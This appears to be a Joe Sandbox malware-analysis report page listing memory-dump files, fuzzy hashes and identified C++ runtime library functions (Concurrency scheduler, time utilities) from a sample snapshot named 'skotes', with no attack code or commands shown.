Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 2ec7747a6b1d8a9d3222bc653788824923e59e613474971332cd4d3812b8fcc3
Instruction ID: 78612cb97527aa7f3865e64aaa2b97597f8b43124b64b4c58e318908f370ecdb
Opcode Fuzzy Hash: 2ec7747a6b1d8a9d3222bc653788824923e59e613474971332cd4d3812b8fcc3
Instruction Fuzzy Hash: 28314875A00319EFCF14DF94D8C0BAE7BB9BF54310F1404AAD901AB346D770AA55DBA0

Function 001313F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001313FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00131447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0013147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0013152A

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 32e5f35b37c02afb50f52e8794f03bf82ef81927e22728eac444969489bdaa70
Instruction ID: bb4564042e566d3cc3578b75df195ddc9a510d6c940e1f83a124eba169899539
Opcode Fuzzy Hash: 32e5f35b37c02afb50f52e8794f03bf82ef81927e22728eac444969489bdaa70
Instruction Fuzzy Hash: 5E315071A00616EFCF14EFA8D4919EDFBB5BF58710F14822DE426AB691CB34A941CB90

Function 0011BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0011BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0011BBE4
_xtime_get.LIBCPMT ref: 0011BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0011BC13

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 5eba9c43e2ae880ab9b64a783a44f0d5fa79dc6e71164cf5aef82c575968b831
Instruction ID: 5a395e346bd87b545a4fa6c74385857c2fffcef958460b2021b4cdbb250881a1
Opcode Fuzzy Hash: 5eba9c43e2ae880ab9b64a783a44f0d5fa79dc6e71164cf5aef82c575968b831
Instruction Fuzzy Hash: 91212C71A00219AFDF08EFA4DC859FEB7B9EF18710F100065F905A7261DB349D819BE1

Function 00129C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00129C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00129CE8
std::bad_exception::bad_exception.LIBCMT ref: 00129CFE
std::bad_exception::bad_exception.LIBCMT ref: 00129D6A

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 90608376746d4c0a92d20c82fc7a0bfa92d5439f19c7fed5ff0dcc5d1a1bdb5f
Instruction ID: 8fdca2fb48b9a2b3f90ce02fa4ec6c2cb3057f2539a665e2d900746f110fd4a4
Opcode Fuzzy Hash: 90608376746d4c0a92d20c82fc7a0bfa92d5439f19c7fed5ff0dcc5d1a1bdb5f
Instruction Fuzzy Hash: 3D21D671900128DFCB08EFA8F482DEEB7B0AF14310F214069F411AF2A1DB316D55DB61

Function 0012A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0012A069

Part of subcall function 0012B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0012B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0012A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0012A0CB

Part of subcall function 0012AB41: List.LIBCONCRT ref: 0012AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0012A0DB

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: e6b26ba29f2c3817f3e18f9c8b50a09e655808d4f670ab409e252aa675f64948
Instruction ID: 633b40e13276045524a9648183b7b7c95df6aaeeca0d1cfbab82ad0fd5d26ff1
Opcode Fuzzy Hash: e6b26ba29f2c3817f3e18f9c8b50a09e655808d4f670ab409e252aa675f64948
Instruction Fuzzy Hash: 9021BD31900A249FCB29EF65E9908AFF3F5FF58700740495EE442A7A51CB30F905CBA6

Function 00124885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00124893
ListArray.LIBCONCRT ref: 001248A5

Part of subcall function 00125555: _InternalDeleteHelper.LIBCONCRT ref: 00125564

ListArray.LIBCONCRT ref: 001248AF
_InternalDeleteHelper.LIBCONCRT ref: 001248C8

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
